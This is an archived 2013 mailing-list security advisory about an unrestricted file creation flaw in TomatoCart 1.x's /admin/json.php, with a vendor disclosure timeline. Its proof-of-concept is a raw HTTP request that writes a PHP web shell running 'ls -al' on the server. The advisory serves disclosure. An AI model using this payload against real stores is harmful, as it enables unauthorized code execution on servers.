lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAPYM6Vz9RT3=S0sTzGwRW+5v3A1PWTBBgZm2YhxzeMzeeNGasQ@mail.gmail.com>
Date: Fri, 4 Jan 2013 23:10:11 +0800
From: YGN Ethical Hacker Group <lists@...g.net>
To: full-disclosure <full-disclosure@...ts.grok.org.uk>,
  bugtraq <bugtraq@...urityfocus.com>, moderators@...db.org,
  submissions@...ketstormsecurity.org
Subject: TomatoCart 1.x | Unrestricted File Creation

1. OVERVIEW

TomatoCart 1.x versions are vulnerable to Unrestricted File Creation.


2. BACKGROUND

TomatoCart is an innovative Open Source shopping cart solution
developed by Wuxi Elootec Technology Co., Ltd. It is forked from
osCommerce 3 as a separate project and is released under the GNU
General Public License V2. Equipped with the web2.0 Technology Ajax
and Rich Internet applications (RIAs), TomatoCart Team is devoted to
building a landmark eCommerce solution.


3. VULNERABILITY DESCRIPTION

TomatoCart 1.x versions contain a flaw related to the /admin/json.php
script's failure to properly restrict created files. This may allow an
attacker to create arbitrary shell script to launch further attacks on
the application server.


4. VERSIONS AFFECTED

Tested on 1.1.8, 1.1.5


5. PROOF-OF-CONCEPT/EXPLOIT

/////////////////////////////////////////////////////////////////////
POST /admin/json.php HTTP/1.1
Host: localhost
Cookie: admin_language=en_US; toCAdminID=edfd1d6b88d0c853c2b83cc63aca5e14
Content-Type: application/x-www-form-urlencoded
Content-Length: 195

module=file_manager&action=save_file&file_name=0wned.php&directory=/&token=edfd1d6b88d0c853c2b83cc63aca5e14&ext-comp-1277=0wned.php&content=<?+echo
'<h1>0wned!</h1><pre>';+echo `ls+-al`; ?>
///////////////////////////////////////////////////////////////


6. SOLUTION

The vendor did not show commitment in hardening the application.
It is recommended to use alternative shopping cart application with
good track record of security fixes.


7. VENDOR

Wuxi Elootec Technology Co., Ltd.


8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2012-04-22: Contacted the vendor through email
2012-04-29: Vendor replied and the vulnerability detail was sent
2013-01-04: Vulnerability not fixed
2013-01-04: Vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5Btomatocart1.x%5D_arbitrary_file_creation
TomatoCart Home Page: http://www.tomatocart.com/
	
#yehg [2013-01-04]

---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ